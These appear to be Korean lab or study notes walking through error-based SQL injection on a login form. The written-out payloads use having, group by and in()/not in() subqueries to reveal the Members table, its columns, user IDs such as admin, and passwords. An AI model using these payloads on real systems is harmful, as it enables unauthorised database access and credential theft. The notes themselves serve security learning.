Table 이름 추출 : having 함수 활용!
→ having 은 group by() 와 같이 쓰여야 함!
⇒’ having 1=1 --
예상 SQL 문
”SELECT * FROM ~~ WHERE user_id = ‘id’ and passwd = ‘pw’”
예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘’ having 1=1 --’ and passwd = ‘pw’”
(1) 해당 공격 문자열 입력 (비밀번호는 중요하지않음)
⇒ ‘ having 1=1 --
group by 문이 없기 때문에 해당 오류메시지 유도
‘테이블명 . 첫 번째 컬럼명’ 이 에러페이지에 노출
⇒ Table : Members
⇒ 첫 번째 Column : num
(2) 두 번째 Column 명 추출 : group by 활용!
⇒ ‘ group by num --
예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘‘group by num --’ and passwd = ‘pw’”
⇒ 두 번째 Column 명 : user_id
(3) 세 번째 Column 명 추출 : 컬럼 이어서 쓰기
⇒ ‘ group by num, user_id --
예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘‘group by num, user_id --’ and passwd = ‘pw’”
⇒ 세 번째 Column 명 : passwd
(4) 데이터(ID/PW) 추출 : in() 활용!
⇒ ' or 1 in(select user_id from Members)--
예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘‘ or 1 in (select user_id from members) --’ and passwd = ‘pw’”
⇒ user_id Column의 첫 번째 Data : new123
Q) 전체 아이디 추출하기!
⇒ ‘ or 1 [Members 테이블의 user_id를 포함시켜 반환하는데, 그 중에서 user_id가 (’new123’)은 포함하지 않도록 반환]--
•
in() : 포함되는 것 반환
•
not in() : 포함되지 않는 것 반환
⇒ ' or 1 in(select user_id from Members where user_id not in(’new123’))--
⇒ user_id Column의 두 번째 Data : ryu123
(5) 해당 루틴으로 계속해서 ID 추출
⇒ ' or 1 in(select user_id from Members where user_id not in(’new123’, ‘ryu123’))--
⇒ user_id Column의 세 번째 Data : admin
더 이상 나오지 않을 때 까지 추출하면 다 추출한 것이다
(6) 같은 방법으로 PW 도 추출 가능
⇒ ' or 1 in(select passwd from Members)--
⇒ passwd Column의 첫 번째 Data : asdf
ID와 PW를 추출했다고해서 무조건 매칭 되는 것은 아니다 (첫 번째 ≠ 첫 번째)